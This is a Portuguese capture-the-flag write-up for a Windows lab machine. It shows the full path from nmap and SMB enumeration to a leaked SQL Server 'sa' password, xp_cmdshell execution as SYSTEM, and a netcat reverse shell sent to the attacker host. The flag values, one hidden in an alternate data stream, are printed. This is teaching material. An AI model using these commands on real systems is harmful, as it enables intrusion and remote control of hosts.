Guia com dicas que podem te auxiliar na resolução do CTF antes de ler o write-up.
Escaneie portas do alvo para identificar serviços.
Explore e baixe arquivos interessantes do SMB.
Use o MSSQL para explorar formas de execução remota de comandos.
Obtenha uma shell reversa na máquina alvo.
Verifique o fluxo de dados alternativos (ADS) no arquivo do root.
Reconhecimento de Rede
Descoberta de Hosts Ativos
O primeiro passo foi identificar os hosts ativos na rede local. Para isso, utilizei a ferramenta arp-scan, que realiza uma varredura ARP passiva. Este método é eficaz para descobrir dispositivos que estão na mesma sub-rede, uma vez que a comunicação ARP é comum entre dispositivos conectados.
O scan revelou que a máquina alvo estava no IP 10.0.2.8. Esse foi o meu ponto de partida para os próximos passos.
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 128 é uma indicação de que possivelmente estamos lidando com um sistema Windows. O TTL inicial para sistemas Windows costuma ser 128, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 128, é provável que o sistema alvo seja uma máquina Windows.
┌──(root㉿attacker)-[/home/kali/CTF]
└─# ping -c 1 10.0.2.8
PING 10.0.2.8 (10.0.2.8) 56(84) bytes of data.
64 bytes from 10.0.2.8: icmp_seq=1 ttl=128 time=2.62 ms
--- 10.0.2.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.619/2.619/2.619/0.000 ms
Varredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta nmap para verificar todas as portas (1-65535) no alvo. A varredura foi configurada para buscar por serviços, versões e scripts comumente usados para obter mais informações sobre os serviços rodando.
┌──(root㉿attacker)-[/home/kali/CTF]
└─# nmap 10.0.2.8 -sSCV -p- --min-rate=5000 -v -n -Pn -oN tcp-scan.txt -oX tcp-scan.xml
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1801/tcp open msmq?
2103/tcp open msrpc Microsoft Windows RPC
2105/tcp open msrpc Microsoft Windows RPC
2107/tcp open msrpc Microsoft Windows RPC
5040/tcp open unknown
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp open pando-pub?
9047/tcp open unknown
9079/tcp open unknown
9080/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9081/tcp open http Microsoft Cassini httpd 4.0.1.6 (ASP.NET 4.0.30319)
|_http-server-header: Cassini/4.0.1.6
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-title: Login Saci
|_Requested resource was /App/Login.aspx
9083/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9147/tcp open unknown
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49712/tcp open msrpc Microsoft Windows RPC
49992/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-info:
| 10.0.2.8\COMPAC:
| Instance name: COMPAC
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
| TCP port: 49992
|_ Clustered: false
| ms-sql-ntlm-info:
| 10.0.2.8\COMPAC:
| Target_Name: DESKTOP-M464J3M
| NetBIOS_Domain_Name: DESKTOP-M464J3M
| NetBIOS_Computer_Name: DESKTOP-M464J3M
| DNS_Domain_Name: DESKTOP-M464J3M
| DNS_Computer_Name: DESKTOP-M464J3M
|_ Product_Version: 10.0.19041
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-13T02:33:53
| Not valid after: 2054-10-13T02:33:53
| MD5: 2875:5449:aa73:e44d:3cb1:9910:1677:8404
|_SHA-1: aaaa:4d75:d253:60d6:333f:8f48:c358:1519:3f36:c278
|_ssl-date: 2024-10-13T03:02:23+00:00; +7h59m47s from scanner time.
MAC Address: 08:00:27:CC:E5:63 (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h59m46s, deviation: 0s, median: 7h59m46s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-10-13T03:01:40
|_ start_date: N/A
| nbstat: NetBIOS name: DESKTOP-M464J3M, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:cc:e5:63 (Oracle VirtualBox virtual NIC)
| Names:
| DESKTOP-M464J3M<20> Flags: <unique><active>
| DESKTOP-M464J3M<00> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1e> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
Na enumeração, é retornado várias portas, chamando a atenção:
Porta 445 (Microsoft SMB)
Porta 49992 (Microsoft SQL Server 2017)
Visualizando Resultados do Nmap
Para facilitar a análise dos resultados do Nmap, utilizamos o nmap-bootstrap-xsl, que converte os arquivos de saída XML para um formato HTML visualmente mais atraente.
Passos para utilizar o Nmap Bootstrap:
Clonar o repositório do Nmap Bootstrap:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# git clone https://github.com/honze-net/nmap-bootstrap-xsl
Cloning into 'nmap-bootstrap-xsl'...
Usar o xsltproc para converter o arquivo XML em HTML:
Isso gerou um relatório visual que ajudou a organizar melhor as informações da varredura.
Serviço SMB (porta 445): Esse serviço pode oferecer vulnerabilidades comuns em servidores Windows, especialmente em sistemas que não estão atualizados.
Microsoft SQL Server (porta 49992): Um banco de dados exposto dessa forma é um alvo potencial para enumeração de credenciais e exploração, especialmente se for possível acesso a usuários ou privilégios administrativos no SQL Server.
Explorando o SMB
Reconhecimento inicial de SMB
Ao iniciar a exploração, descobrimos que o alvo está rodando uma versão do Windows Server 2019 através de uma verificação com o crackmapexec. Esta etapa nos dá uma ideia da superfície de ataque e das versões dos sistemas envolvidos.
Na sequência, tentamos enumerar os compartilhamentos SMB usando uma sessão sem credenciais. Isso nos dá acesso às pastas compartilhadas que têm permissões de leitura e escrita, o que pode ser explorado posteriormente.
O compartilhamento Compac possui permissões de leitura e escrita, o que já representa um potencial vetor de ataque.
Acessando o compartilhamento Compac
Usamos o smbclient para acessar o conteúdo desse compartilhamento. A listagem de diretórios revela a presença de pastas que podem conter arquivos interessantes.
┌──(root㉿attacker)-[/home/kali/CTF]
└─# smbclient //10.0.2.8/Compac --no-pass
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Tue Oct 15 20:41:12 2024
.. D 0 Tue Oct 15 20:41:12 2024
Empresas D 0 Sat May 11 03:49:15 2024
Index D 0 Sat May 11 03:50:09 2024
5113953 blocks of size 4096. 772566 blocks available
No diretório Empresas, identificamos um arquivo chamado SQL.txt, que baixamos para uma inspeção mais detalhada.
smb: \> cd Empresas\
smb: \Empresas\> dir
. D 0 Sat May 11 03:49:15 2024
.. D 0 Sat May 11 03:49:15 2024
Esquemas D 0 Sat May 11 00:05:43 2024
Reportes D 0 Sat May 11 01:32:25 2024
SQL.txt A 448 Sat May 11 03:48:19 2024
5113953 blocks of size 4096. 773319 blocks available
smb: \Empresas\> get SQL.txt
getting file \Empresas\SQL.txt of size 448 as SQL.txt (7.7 KiloBytes/sec) (average 7.7 KiloBytes/sec)
Conteúdo de SQL.txt Ao ler o conteúdo do arquivo, encontramos credenciais potencialmente úteis para o serviço MSSQL exposto:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat SQL.txt
SQL 2017
Instancia COMPAC
sa
Contpaqi2023.
ip
127.0.0.1
Tip para terminar instalaciones
1) Ejecutar seguridad de icono
Sobre el icono asegurarse que diga ejecutar como Administrador.
2) Ejecutar el comando regedit...
Buscar la llave Hkey Local Machine, luego Software, luego Wow32, Computacion en Accion...(abri pantalla con boton del lado derecho
donde dice seguridad y ver que aparezca "everyone" y darle control total
Essa credencial chama atenção, já que podemos utilizá-la no serviço MSSQL.
Explorando o MSSQL
Verificação da credencial
Validamos que a credencial extraída é válida no host alvo usando o crackmapexec.
Agora, usamos o sqsh para nos conectar ao MSSQL e confirmar se a credencial extraída pode ser usada para obter acesso administrativo ao banco de dados.
┌──(root㉿attacker)-[/home/kali/CTF]
└─# sqsh -S 10.0.2.8:49992 -U 'sa' -P 'Contpaqi2023.'
sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
Enumeração do ambiente MSSQL
Uma vez conectados, realizamos uma enumeração básica para obter informações como a versão do SQL Server, usuário em execução, e listar as bases de dados existentes.
1> select @@version;
2> go
Microsoft SQL Server 2017 (RTM) - 14.0.1000.169 (X64)
Aug 22 2017 17:04:49
Copyright (C) 2017 Microsoft Corporation
Express Edition (64-bit) on Windows 10 Home 10.0 <X64> (Build 19045: ) (Hypervisor)
(1 row affected)
1> select user_name();
2> go
dbo
(1 row affected)
1> SELECT name FROM master.dbo.sysdatabases;
2> go
name
master
tempdb
model
msdb
GeneralesSQL
DB_Directory
ADD_Catalogos
(7 rows affected)
Os resultados revelam que estamos em uma instância do SQL Server 2017 e que estamos executando com permissões de dbo, o que nos dá bastante controle sobre o banco de dados.
Execução de comandos via xp_cmdshell
Testamos o comando xp_cmdshell, que nos permite executar comandos diretamente no sistema operacional alvo. Ao executar um simples whoami, descobrimos que o processo MSSQL está sendo executado como nt authority\system, o que nos dá controle total sobre o sistema.
1> xp_cmdshell "whoami"
2> go
output
nt authority\system
NULL
(2 rows affected, return status = 0)
Esse acesso abre a possibilidade de realizar movimentos laterais no sistema ou até mesmo escalada de privilégios para obter o controle completo do host.
Por meio da execução de comandos via xp_cmdshell, uma das primeiras coisas que quis fazer foi identificar o IP interno do alvo. Isso é crucial para confirmar a conectividade entre a máquina do atacante e o host comprometido, além de ajudar a mapear a rede local em um ambiente mais amplo.
Utilizei o comando ipconfig para exibir a configuração de rede do sistema comprometido:
1> xp_cmdshell "ipconfig"
2> go
output
NULL
Configuración IP de Windows
NULL
NULL
Adaptador de Ethernet Ethernet:
NULL
Sufijo DNS específico para la conexión. . : home
Vínculo: dirección IPv6 local. . . : fe80::441c:ff85:b5cf:7a6d%5
Dirección IPv4. . . . . . . . . . . . . . : 10.0.2.8
Máscara de subred . . . . . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada . . . . . : 10.0.2.1
NULL
(12 rows affected, return status = 0)
O output do comando ipconfig nos dá várias informações valiosas:
Endereço IPv4: O alvo está utilizando o IP interno 10.0.2.8 com a máscara de sub-rede 255.255.255.0.
Gateway padrão: A máquina se comunica com o gateway 10.0.2.1.
Esses detalhes são importantes para entender o contexto de rede do alvo. Sabendo que o IP da minha máquina atacante é 10.0.2.15, já temos indícios de que estamos na mesma sub-rede.
Testando Conectividade
Para garantir que as máquinas estavam realmente se comunicando, fiz um teste simples de ping do host comprometido para minha máquina atacante. Primeiro, preparei a captura de pacotes ICMP (protocolo utilizado pelo ping) com o tcpdump no meu lado:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# tcpdump -i eth0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Com o tcpdump rodando, executei o comando ping no alvo para verificar se a máquina comprometida era capaz de se comunicar com a minha máquina atacante:
1> xp_cmdshell "ping -n 2 10.0.2.15"
2> go
output
NULL
Haciendo ping a 10.0.2.15 con 32 bytes de datos:
Respuesta desde 10.0.2.15: bytes=32 tiempo=3ms TTL=64
Respuesta desde 10.0.2.15: bytes=32 tiempo=1ms TTL=64
NULL
Estadísticas de ping para 10.0.2.15:
Paquetes: enviados = 2, recibidos = 2, perdidos = 0
(0% perdidos),
Tiempos aproximados de ida y vuelta en milisegundos:
Mínimo = 1ms, Máximo = 3ms, Media = 2ms
NULL
(11 rows affected, return status = 0)
No lado do atacante, o tcpdump capturou os pacotes ICMP conforme esperado:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# tcpdump -i eth0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
14:38:32.935161 IP 10.0.2.8 > attacker: ICMP echo request, id 1, seq 1, length 40
14:38:32.935183 IP attacker > 10.0.2.8: ICMP echo reply, id 1, seq 1, length 40
14:38:33.952212 IP 10.0.2.8 > attacker: ICMP echo request, id 1, seq 2, length 40
14:38:33.952228 IP attacker > 10.0.2.8: ICMP echo reply, id 1, seq 2, length 40
^C
4 packets captured
4 packets received by filter
0 packets dropped by kernel
A captura confirma que os pacotes ICMP foram trocados entre a máquina do alvo e a minha, validando a comunicação entre os hosts.
Ganhando Acesso ao Alvo
Agora que confirmei a comunicação, a ideia é estabelecer uma reverse shell a partir do alvo. O método que utilizei evita a necessidade de baixar ferramentas diretamente no alvo, o que poderia gerar alertas. Em vez disso, usei um compartilhamento de rede SMB para fornecer o Netcat ao alvo, permitindo que ele se conecte de volta à minha máquina e execute uma reverse shell.
Passos seguidos:
Download do Netcat para Windows:
Para enviar a reverse shell, optamos por usar o netcat. Baixamos uma versão de 64 bits para Windows diretamente do site eternallybored.org e extraímos o executável nc64.exe usando o comando 7z.
┌──(root㉿attacker)-[/home/kali/CTF]
└─# wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip
┌──(root㉿attacker)-[/home/kali/CTF]
└─# 7z x netcat-win32-1.12.zip nc64.exe
Compartilhando o Netcat via SMB:
Em vez de enviar o binário diretamente ao alvo, configuramos um servidor SMB com o impacket-smbserver, compartilhando o diretório contendo o nc64.exe para que o alvo pudesse acessá-lo remotamente.
┌──(root㉿attacker)-[/home/kali/CTF]
└─# ls
SQL.txt nc64.exe netcat-win32-1.12.zip
Utilizando a xp_cmdshell do alvo, o Netcat foi executado diretamente a partir do compartilhamento SMB. Com isso, enviamos a shell reversa para o listener configurado na máquina atacante, garantindo que não precisássemos baixar ou instalar nada no sistema alvo.
1> xp_cmdshell '\\10.0.2.15\smbFolder\nc64.exe -e cmd 10.0.2.15 443'
2> go
A conexão foi bem-sucedida, como mostrado pelos logs do servidor SMB, que confirmaram o acesso ao compartilhamento, e pelo listener pwncat que recebeu a shell com privilégios de NT AUTHORITY\SYSTEM, o nível mais alto de privilégio em sistemas Windows.
┌──(root㉿attacker)-[/home/kali/CTF]
└─# pwncat -l 443
Microsoft Windows [Versi�n 10.0.19045.2965]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\Windows\system32>ipconfig
ipconfig
Configuraci�n IP de Windows
Adaptador de Ethernet Ethernet:
Sufijo DNS espec�fico para la conexi�n. . : home
V�nculo: direcci�n IPv6 local. . . : fe80::441c:ff85:b5cf:7a6d%5
Direcci�n IPv4. . . . . . . . . . . . . . : 10.0.2.8
M�scara de subred . . . . . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada . . . . . : 10.0.2.1
C:\Windows\system32>whoami
whoami
nt authority\system
A tarefa final foi localizar as flags indicadoras da conclusão da máquina.
User Flag
Primeiro, busquei a user flag, geralmente armazenada no diretório do usuário. No caso, ela estava localizada no diretório de contpaqi:
C:\Users\contpaqi\Desktop>type user.txt
type user.txt
bf79ead1586ea0cd464dd58257be9e30
Root Flag
A próxima etapa foi localizar a root flag, tradicionalmente armazenada no diretório do administrador. No diretório C:\Users\admin\Desktop, encontrei um arquivo chamado root.txt:
Curiosamente, o conteúdo do arquivo root.txt não continha a flag tradicional. Em vez disso, exibiu um desenho ASCII, o que me levou a suspeitar que a flag estivesse escondida em algum outro lugar.
Descobrindo um Alternate Data Stream (ADS)
Ao enumerar o diretório com o comando dir /r, que exibe fluxos de dados alternativos (ADS), descobri que o arquivo root.txt continha um fluxo adicional chamado HI:
C:\Users\admin\Desktop>dir /r
dir /r
El volumen de la unidad C no tiene etiqueta.
El n�mero de serie del volumen es: A622-5802
Directorio de C:\Users\admin\Desktop
05/10/2024 08:12 PM <DIR> .
05/10/2024 08:12 PM <DIR> ..
05/10/2024 08:05 PM 1,192 root.txt
35 root.txt:HI:$DATA
1 archivos 1,192 bytes
2 dirs 2,655,346,688 bytes libres
C:\Users\admin\Desktop>type root.txt:HI:$DATA
type root.txt:HI:$DATA
El nombre de archivo, el nombre de directorio o la sintaxis de la etiqueta del volumen no son correctos.
O arquivo root.txt tinha um fluxo de dados alternativo de 35 bytes chamado HI. Para acessar esse conteúdo, utilizei o comando more:
C:\Users\admin\Desktop>more < root.txt:HI
more < root.txt:HI
1b76510c01f7dbe2e420adefaf02a34b
Este fluxo alternativo continha a verdadeira root.
Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.